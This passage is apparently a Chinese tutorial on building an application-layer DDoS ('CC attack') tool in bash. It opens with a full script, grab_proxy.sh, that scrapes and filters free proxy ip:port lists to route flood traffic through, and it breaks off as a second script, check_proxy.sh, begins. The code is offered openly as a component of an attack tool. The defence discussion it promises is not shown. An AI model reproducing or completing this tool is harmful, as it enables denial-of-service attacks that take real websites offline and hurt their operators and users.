我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。
第一步:获取大量可用代理ip:port列表
网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。
grab_proxy.sh
#!/bin/bash
#get proxy list
declare proxyListFile="proxy.txt"
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
function quit() {
rm -f $tmpFile
exit "$1"
}
echo "get proxy list... please wait..."
if [ -r "$proxyListFile" ]
then
rm -f $proxyListFile
fi
touch $proxyListFile
for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \
" http://www.youdaili.cn/Daili/guonei/2215_2.html" \
" http://www.youdaili.cn/Daili/guonei/2215_3.html" \
" http://www.youdaili.cn/Daili/guonei/2215_4.html "
do
if GET "$url" > $tmpFile
then
grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
| sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile
else
exec 1>&2
echo "error: get proxy list fail! chech the url:$url or the network"
quit 1
fi
done
echo "done. total `cat $proxyListFile | wc -l` proxy"
quit 0
#exit
参数:
declare proxyListFile="proxy.txt" #抓取到的代理ip port对所存放的文件路径
check_proxy.sh
#!/bin/bash
#get proxy list
declare check_threads=